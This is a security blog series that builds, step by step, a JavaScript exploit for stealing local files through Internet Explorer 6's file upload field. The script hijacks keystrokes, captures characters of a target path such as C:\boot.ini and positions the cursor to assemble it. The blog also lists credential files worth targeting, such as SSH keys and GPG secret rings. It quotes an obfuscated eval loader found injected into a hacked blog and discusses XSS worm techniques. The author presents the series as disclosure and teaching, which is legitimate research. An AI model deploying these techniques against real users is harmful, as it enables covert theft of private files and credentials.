pseudo-flaw.net

This is part four in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part presents background information. The second part discusses targeting the "C:\boot.ini" file, and the third part improves the capture mechanism by intelligently positioning the cursor in the file element.

Part four starts with the simple observation that the backslash character ('\') appears very rarely in typed text on the Internet. Unless, of course, your primary form of communication is emoticons ( \m/ - ROCK! ), or you enter a lot of control characters (e.g., "\r\n\t\v\b").

Fortunately, as the fourth demonstration shows, Internet Explorer treats the forward slash ('/') as a completely interchangeable character. Just as the backslash is often used to bypass file filter checks against IIS on Windows, the forward slash can be used in place of the backslash.

The code is modified to use both separators:

var sep_code = String("\\").charCodeAt(0);
var alt_sep_code = String("/").charCodeAt(0);

When deciding on the files to capture:

    wanted = wanted.toLowerCase();
    alt_wanted = wanted.replace(/\\/g, "/");

And searching for characters to capture:

if ((!matched[i]) && (
	    (target[i] == current) ||
		((target[i] == sep_code) && (alt_sep_code == current))
	)) {

In this way, the attack doubles its chances of matching a backslash by allowing either a '\' or a '/'.

So, quick as you can type, "I <3 http://blogs.msdn.com/ie/", your "C:\boot.ini" file could have been stolen.

This is the third part in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part presents background information. The second part discusses targeting the "C:\boot.ini" file.

In the third demonstration, we implement Bart van Arnhem's technique to use a text range to arbitrarily position the cursor within the file input element. This approach makes the attack an order of magnitude more effective, because the characters in the desired file name can be captured in any order.

We no longer need to matched the reversed file name. Instead, a parallel array of flags is created to store when a character is matched:

    wanted = wanted.toLowerCase();

    for (var i = 0; i < wanted.length; ++i) {
        target[i] = wanted.charCodeAt(i);
	matched[i] = false;
    }

The file_keypress function is modified to use this array when searching for characters to match:

    current = c.toLowerCase().charCodeAt(0);
    for (var i = 0; i < target.length; ++i) {
	if ((!matched[i]) && 
		(target[i] == current)
	    ) {
	    var orig_pos = i;
	    var insert_pos = orig_pos;
	    for (i = 0; i < orig_pos; ++i) {
		if (!matched[i]) {
		    --insert_pos;
		}
	    }
	    var range = file1.createTextRange();
	    if (null != range) {
		range.collapse(true);
		range.move("character", insert_pos);
		range.select();
		matched[orig_pos] = true;
		++idx;
		return true;
	    }
	}
    }    

The code is worth examining in detail. The list of target characters is iterated through and searched for a character that matches the current character but hasn't been matched previously. Once one is located, the original match position is stored (orig_pos) and the default insertion point is set (insert_pos). Next, the number of currently unmatched characters preceding the match is used to adjust the insertion point backwards. The intuitive way to think about this is that space needs to be reserved on the left of the string for characters that haven't been matched yet. When those characters are matched, they will fill in those positions and shift everything else to the right.

An example should help illustrate this. Consider that the string "tiboocin:.\" is entered:

 - Initial State -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    _   _   _   _   _   _   _   _   _   _   _

 - "t" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [X] [ ] [ ] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    t   _   _   _   _   _   _   _   _   _   _

 - "i" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    t   i   _   _   _   _   _   _   _   _   _

 - "b" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [ ] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   t   i   _   _   _   _   _   _   _   _

The "t" character is matched at offset 6, but there are six unmatched entries before it, so it is inserted at position 0. When "i" is matched at position 8, there are seven unmatched entries preceding it, and it is placed at position 1. The "b" is matched at position 3 and is inserted at position 0 since there are three unmatched entries preceding it. And so on until the entire string is matched:

 - "o" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [X] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   o   t   i   _   _   _   _   _   _   _

 - "o" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   o   o   t   i   _   _   _   _   _   _

 - "c" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   _   _   _   _   _

 - "i" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   i   _   _   _   _

 - "n" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   n   i   _   _   _ 

 - ":" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [ ] [X] [X] [X] [X] [ ] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   b   o   o   t   i   n   i   _   _

 - "." matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [ ] [X] [X] [X] [X] [X] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   b   o   o   t   .   i   n   i   _

 - "\" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [X] [X] [X] [X] [X] [X] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   \   b   o   o   t   .   i   n   i

Allowing the characters to matched in any order improves the attack by reducing the amount of text a user is required to enter.

This is the second part in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part is available here and contains important background information.

We start by examining the second demonstration. The second demonstration is the first real step towards file stealing. Although on the surface it appears very similar to the first demonstration, several important changes have been made under the skin.

The first is that the "C:\boot.ini" file is being targeted. This is a common file present on most NT-family systems and is typically (though not always) readable by users (thus, it is good for demonstration purposes). Since Windows will match files in case-insensitive manner, the file can be converted to lowercase ("c:\boot.ini") and matched against entered characters of any case. So, the if the user enters "C:\BoOT.iNI" or "c:\bOOt.InI", these are functionally equivalent.

In the discussion of the first demonstration, it was noted that when the focus was explicitly set in the file input element, it was always set at the first character. As a result, the letters to need to be collected in a reverse order. This can be seen in the following code:

    wanted = wanted.toLowerCase();
    var wl = wanted.length;
    for (var i = 0; i < wanted.length; ++i) {
        target[--wl] = wanted.charCodeAt(i);
    }

The matching logic in file_keypress is also updated to compare against the new target. An index value is used to maintain the current location and compare against any entered keystrokes:

    if (!e.repeat) {
	current = c.toLowerCase().charCodeAt(0);
	if ((1 == buffer.length) &&(target[idx + 1] == current)) {
            ++idx;
            return true;
	}
    }

Note the check to see if the event is being repeated. A keypress event will be repeated if multiple characters are being entered without the corresponding keyup event firing. This causes the characters to be entered out of order for the check and the file will fail to be captured properly. In fact, the submission logic in file_keyup has an explicit check for that situation and resets the form if it is detected:

    if (target.length - 1 == idx) {
	if (
	    (wanted == file1.value.toLowerCase())
	){
	    if (!submitted) {
		submitted = true;
	    	alert("submit goes here");
	    }
	    workarea.style["display"] = "none";
	    return;
	} else {
	    // start over
	    var save = text1.value;
	    form1.reset();
	    text1.value = save;
	    idx = -1;
	}
    }

The file_keyup function was also updated to insert captured characters into the textarea in a more reasonable fashion. This is accomplished by tracking the user's current caret (start_pos) and selection (end_pos) in the textarea and then inserting any captured characters at that point. Following the edit, the cursor is reset to that position so additional entered text appears at the correct location:

    if (buffer.length > 0) { 
	var tv = text1.value;
	text1.value = tv.substring(0, start_pos)
	    + buffer
	    + tv.substring(end_pos, tv.length);

	start_pos += buffer.length;

	buffer = "";

    }

    var range = text1.createTextRange();
    if (null != range) {
	range.collapse(true);
	range.move("character", start_pos);
	range.select();
    }

In order to capture the start and end positions, a snapshot function is used. Unlike Mozilla Firefox with it selectionStart and selectionEnd functions, Internet Explorer doesn't offer a simple mechanism to determine the information. This article for determining the cursor position in a textarea was extremely useful. That document.selection logic is implemented to determine start and end offsets in the snapshot function:

if (document.selection){
	// from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
	var range = document.selection.createRange();
	if (null != range) {
	    var stored_range = range.duplicate();
	    if (null != stored_range && null != text1) {
		stored_range.moveToElementText(text1);
		stored_range.setEndPoint('EndToEnd', range);
		start_pos = stored_range.text.length - range.text.length;
		end_pos = start_pos + range.text.length;
	    }
	}
    }

The textarea has two additional event handlers added. The onmousedown and onmouseup handlers are used to capture any cursor and selection changes that might occur through mouse clicks or cut/copy/paste operations from the mouse context menu:

<textarea name="text1" id="text1" rows="15" cols="80"
onkeydown="return text_keydown(event);"
onmousedown="snapshot();"
onmouseup="snapshot();"
></textarea>

And finally, the text_keydown function is modified to allow more key codes so that the ':', '\' and '.' characters can be captured while at the same time preventing copy/paste and menu operations from impacting the file element. A snapshot of the current cursor selection is also taken before the focus is redirected to the file element.

    if (kc > 46) {
	switch (kc) {
	case 91: // left windows
	case 92: // right windows
	case 93: // right menu
            break;
	case 112: // f1 .. f22
	case 113:
	case 114:
	case 115:
	case 116:
	case 117:
	case 118:
	case 119:
	case 120:
	case 121:
	case 122:
	case 123:
	case 124:
	case 125:
	case 126:
	case 127:
	case 128:
	case 129:
	case 130:
	case 131:
	case 132:
	case 133:
	case 134:
	case 135:
            break;
	case 144: // num lock
            break; 
	case 145: // scroll lock
            break;
	case 224: // meta
            break
	default:
	    if (!e.ctrlKey  && !e.metaKey) {
		snapshot();
		file1.focus();
	    }
	}
    }

Although crudely presented, this demonstration would be perfectly sufficient to steal files if the code was modified to automatically submit the form once the appropriately keystrokes had been captured.

Of course, there are still several problems with the demonstration. The file must be captured in reverse order, the insertion logic into the textarea doesn't handle line breaks properly and the layout leaves something to be desired. All of these will be dealt with in future revisions of the demonstration.

The "C" in CSS stands for Cascading: Internet Explorer 6 users should be able to read the postings now. IE6 didn't seem to understand how wide to render the pre elements even with an appropriate margin-right style. Explicitly setting a width with the appropriately calculated percentage seemed to remedy the situation without a drastic impact on other browsers.

Some posts were in categories that didn't make any sense so I re-shuffled them. Posts now display the correct title when accessed directly.

On 5 June 2006, Charles McAuley posted a message to the Full-Disclosure mailing list that discussed file input element vulnerabilities in Firefox and Internet Explorer. In it, he showed how the file upload input element can be attacked by selectively redirecting the focus from an ordinary text input element to the file input element. Once the appropriate keystrokes had been captured, the file could be automatically uploaded without the user ever knowing.

A few days later, Bart van Arnhem posted a reply message with the observation that Internet Explorer allowed file input element to be treated as a text range. As a result, the characters to be captured could be entered in an arbitrary order by selectively setting the current caret point. This significantly reduced the complexity of the attack and greatly increases the probability that the appropriate characters can be captured.

These vulnerabilities remain unfixed in Internet Explorer 6 after nineteen months. See my previous post Web Browser File Stealing Vulnerabilities Are Important for more information on why these types of vulnerabilities can have a significant impact on users.

To help people understand what exposure they may have, I've constructed a set of demonstrations that start from the basic observation that keystrokes can be selectively captured and end with an actual file stealing attack. I will be discussing these in multiple posts as a sort of pedagogical progression. If you are impatient, the entire set is available here.

The first demonstration simply shows how the keystrokes in a textarea can be selectively be captured into a file input element. Any upper or lower case vowels will be captured and will appear in the file input element. This is accomplished by associating an onkeydown event handler with the textarea:

<textarea name="text1" id="text1" rows="15" cols="80"
onkeydown="return text_keydown(event);"
></textarea>

The onkeydown event handler examines the entered key code and if it falls in the appropriate range, the focus is redirected to the file input element:

function text_keydown(e) {

    var kc = e.keyCode;

    if (kc > 46 && kc <= 90) {
	if (!e.ctrlKey  && !e.metaKey) {
	    file1.focus();
	}
    }
    return true;
}

The file input element has two event handlers associated with it, onkeypress and onkeyup:

<input type="file" id="file1" name="file1" 
onkeypress="return file_keypress(event);"
onkeyup="return file_keyup(event);"
/>

A little background information is required to understand why the event handlers are structured such as they are. When a user enters a keystroke, there are three events that occur before the keystroke is fully completed. The first is the keydown event, then keypress event and finally a keyup event.

Some additional observations are required though. Multiple keydown events can be fired for a single keypress event. And multiple keypress events may have been triggered for a single keyup event. As an example, the keystroke "Ctrl+C" (typically copy selected text) requires two keydown events to fire before the one keypress event. And simply depressing the space bar and holding will generate multiple keypress events but only a single keyup event. See the DOM Events Wikipedia article for more information or this discussion of JavaScript key events.

After the user has pressed a key and the focus has been transferred to the file input element from the text_keydown handler function, the file_keypress function will be fired:

function file_keypress(e) {

    var current = e.charCode ? e.charCode : e.keyCode;

    var c = String.fromCharCode(current);
    buffer += c

    if (-1 != vowels.indexOf(c)) {
        return true;
    }

    return false;
}

The file_keypress event handler retrieves the current character and append it to a buffer. If the character matches a vowel, a true value is returned from the function. If the character is not a vowel, a false value is returned instead. Returning false has the effect of causing the file input element to reject the character entered. In this way, individual characters can selectively be captured.

When the user releases the key, the file_keyup event will be activated:

function file_keyup(e) {
    text1.value += buffer;
    text1.focus();
    buffer = "";
}

This function naively appends any captured characters to the end of the textarea and clears the buffer. It also sets the focus back on the textarea.

An important observation to make is that the characters are being entered into the file input element in the reverse order. This is because setting the focus causes the cursor to be set at the first character of the text input. That behavior is why many file stealing demonstrations for Internet Explorer captured the file name backwards.

The remainder of the demonstrations will be discussed in future posts. Fully understanding the Internet Explorer 6 behavior will be beneficial when examining what attacks could be constructed against Internet Explorer 7.

I posted last December that Joe Biden's WordPress blog had been hacked. Now he has withdrawn from the 2008 US Presidential race, but his hacked blog lives on:

<div id="goro"><a href="http://www.sloog.org/?page=27" title="Hydrocodone">Hydrocodone</a>
<a href="http://www.sloog.org/?page=26" title="Glucophage">Glucophage</a>
<a href="http://www.sloog.org/?page=20156" title="Glucophage">Glucophage</a>
<a href="http://www.sloog.org/?page=10" title="Carisoprodol">Carisoprodol</a>
[...snipped...]
<a href="http://www.sloog.org/?page=21854" title="Zithromax">Zithromax</a>
<a href="http://www.sloog.org/?page=56" title="Zocor">Zocor</a>
<a href="http://www.sloog.org/?page=21865" title="Zocor">Zocor</a>
</div><script type="text/javascript"><!--
function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str); }
getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); //-->
</script>

It looks like sloog.org was hit by SEO spammers as well:

Generalizing that Google query yields plenty of results for other SEO spam hacked sites:

And possibly even more sites:

Simply stunning. These are definitely not targeted attacks.

The Diminutive XSS Worm Replication Contest is set to wrap up tomorrow January 10th at 7PM GMT. The goal is to develop a cross-browser XSS worm in the fewest number of bytes (subject to certain rules). It is part academic exercise, part bragging rights contest. It hasn't been without controversy.

I've been following the results in the sl.ackers.org forums, and there have been some are very intriguing entries posted. Basically, two primary vectors have emerged:

• Using iframe or img with either onload or onerror event handlers to post a form.
• Using XMLHttpRequest to post the content.

The XMLHttpRequest approach is interesting because it allows for silent submissions, but there appear to be issues with properly setting the content-type and URL escaping.

There has been heavy use of innerHTML to create self-referencing code. Both Internet Explorer and Mozilla Firefox browsers will close open tags when using innerHTML to retrieve content. This behaviour causes content to expand when submitted. But, contest rule #3 states that the content cannot grow during propagation which has led to the use of slice method to trim closing tags. For example,

p = document.createElement("p");
alert(p.innerHTML = "<a><b><i>");    // <a><b><i>
alert(p.innerHTML);                  // <a><b><i></i></b></a>
alert(p.innerHTML.slice(0,9));       // <a><b><i>

In my opinion, the growth rule is where the contest may have drifted off course. I can understand not wanting exponential growth, but fixed growth after initial propagation is not necessarily bad - some mutation of worm code can even be desirable. But the rules are the rules, so there isn't much room to quibble.

On a related note, Gareth Heyes has posted some interesting vectors that utilize the DOM that incorporate some of the findings from the contest.

All in all, some very exciting work.

Between the holidays and time spent looking into some vulnerabilities, my posting has been a bit sparse. Not that I've seen much newsworthy content that hasn't already been covered elsewhere.

And the Internet Explorer File Stealing demos that I mentioned last year will be going up in the next several days.

An excellent postmortem write-up of a WordPress hack can be found here.

The "Magic Include Shell" makes another appearance. Mag (ICQ 884888) must be proud.

File stealing vulnerabilities have long held a special place in web browser exploitation. Web browsers attempt to carefully sandbox content to avoid interaction with the local file-system. But INPUT elements with TYPE=FILE are specifically designed to bypass the sandbox to allow users to select files for upload. For miscreants, this provides the opportunity to steal files from unsuspecting users. By exploiting web browser vulnerabilities, malicious web pages may be able to steal confidential information by manipulating the FILE input element and causing arbitrary files to be uploaded. These types of attacks are old and well known.

There are a few main modes of attack.

• Purely technical attacks: The purely technical attack involves exploiting a vulnerability to directly set the file input's VALUE field to a chosen, arbitrary value. For example, create a input element of type TEXT, set the value, and then change the type to FILE:

  <script>
      var input0 = document.createElement("input");
      input0.type = "text";
      input0.value = "/etc/passwd";
      input0.type = "file";
  </script>
  

  Other attacks have involved direct DOM manipulations. These types of vulnerabilities are now extremely rare, because the file input types enjoy additional protections in most modern web browsers.
• Social engineering attacks: The social engineering attack usually involves getting the user to type the complete path to the file into the input element. To increase the chance of success, Cascading Style-sheets (CSS) are used to style the input to appear more like a text element or textarea or to overlay it with some other element.
• Hybrid attacks: The hybrid attack combines aspects of the technical attack with elements of the social engineering attack. These attacks are typically performed by selectively capturing keystrokes in the file input's text entry field. There have been a couple of methods used to facilitate this type of attack. The first involves silently redirecting keystrokes from another input element into the file input. The second method sets the focus on the file input element and simulates keystrokes into another input element. In both methods, CSS can be used to obscure that the user's data is being sent to the file input element.

Depending on the attacker's goals, well-known files may be targeted. For example, on Linux or Mac OS X some security related files are juicy targets:

• ~/.gnupg/secring.gpg
• ~/.ssh/id_rsa

Or, maybe one of the history files:

• ~/.bash_history
• ~/.lesshst
• ~/.mysql_history
• ~/.scapy_history
• ~/.viminfo

Even simple files like "C:\boot.ini", "/etc/passwd" or "/etc/hosts" can show information about the system that the owner may not want revealed. For example, acquiring one or more of these files from a Tor user could be used to fingerprint the machine or reveal the user's actual identity.

The way that people use their web browsers with the Internet has changed over the last several years. The level of web browser interaction has drastically increased. Normal people are writing blog entries, posting comments on their friend's sites and composing business documents using online services. This is a huge shift from the "punch the monkey" mouse clicking of the early years. That increased level of interaction is what makes the hybrid attacks so significant. Users are accustomed to typing into web forms and responding to captchas. Vulnerabilities that allow redirecting of the focus to the file input field should be taken seriously.

File stealing through manipulation of the file input can be extremely insidious. Users truly depend on their web browser to protect them. So, among the major browsers, what can users expect?

Mozilla's efforts with Firefox are finally beginning to pay off. Firefox 3 completely removes the text entry portion of the file input and replaces it with a graphic file picker. The last several Firefox 2 releases are slowly addressing the ability to selectively set the focus on the text portion of the file input element.

Safari has used a file picker for a long time and avoided the whole focus and captured keystroke problem.

Microsoft Internet Explorer has lagged behind in these fixes. Although it isn't entirely clear what changes IE8 will bring, both IE6 and IE7 continue to exhibit some of the classic focus vulnerabilities. Although these vulnerabilities have been repeatedly publicly disclosed over the last couple of years, IE has not been updated to address any of them.

To close out the year, I'll post some demonstrations of how these IE file stealing vulnerabilities can be exploited. Stay tuned.